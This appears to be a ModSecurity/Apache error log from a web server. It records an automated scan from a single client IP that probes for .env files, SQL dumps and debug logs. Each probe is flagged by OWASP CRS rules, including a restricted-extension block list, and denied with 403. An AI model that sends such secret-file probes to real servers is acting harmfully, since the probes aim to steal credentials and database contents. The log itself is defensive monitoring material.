[Thu Feb 26 01:03:00.496353 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /delivery/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhewAAAAE&quot;]
[Thu Feb 26 01:03:00.496629 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhewAAAAE&quot;]
[Thu Feb 26 01:03:00.496811 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhewAAAAE&quot;]
[Thu Feb 26 01:03:00.543147 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhfAAAAAE&quot;]
[Thu Feb 26 01:03:00.543405 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhfAAAAAE&quot;]
[Thu Feb 26 01:03:00.543609 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhfAAAAAE&quot;]
[Thu Feb 26 01:03:00.565312 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiypgAAAAA&quot;]
[Thu Feb 26 01:03:00.565801 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiypgAAAAA&quot;]
[Thu Feb 26 01:03:00.565949 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiypgAAAAA&quot;]
[Thu Feb 26 01:03:00.579641 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhfQAAAAE&quot;]
[Thu Feb 26 01:03:00.579863 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhfQAAAAE&quot;]
[Thu Feb 26 01:03:00.580018 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhfQAAAAE&quot;]
[Thu Feb 26 01:03:00.607811 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiypwAAAAA&quot;]
[Thu Feb 26 01:03:00.608285 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiypwAAAAA&quot;]
[Thu Feb 26 01:03:00.608438 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiypwAAAAA&quot;]
[Thu Feb 26 01:03:00.693765 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhgAAAAAE&quot;]
[Thu Feb 26 01:03:00.694012 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhgAAAAAE&quot;]
[Thu Feb 26 01:03:00.694173 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhgAAAAAE&quot;]
[Thu Feb 26 01:03:00.699380 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyqgAAAAA&quot;]
[Thu Feb 26 01:03:00.699865 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyqgAAAAA&quot;]
[Thu Feb 26 01:03:00.700024 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyqgAAAAA&quot;]
[Thu Feb 26 01:03:00.828466 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhgwAAAAE&quot;]
[Thu Feb 26 01:03:00.828686 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhgwAAAAE&quot;]
[Thu Feb 26 01:03:00.828841 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhgwAAAAE&quot;]
[Thu Feb 26 01:03:00.850412 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyrwAAAAA&quot;]
[Thu Feb 26 01:03:00.850631 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyrwAAAAA&quot;]
[Thu Feb 26 01:03:00.850783 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyrwAAAAA&quot;]
[Thu Feb 26 01:03:00.875979 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /delivery/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysAAAAAA&quot;]
[Thu Feb 26 01:03:00.876198 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysAAAAAA&quot;]
[Thu Feb 26 01:03:00.876344 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysAAAAAA&quot;]
[Thu Feb 26 01:03:00.904512 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysQAAAAA&quot;]
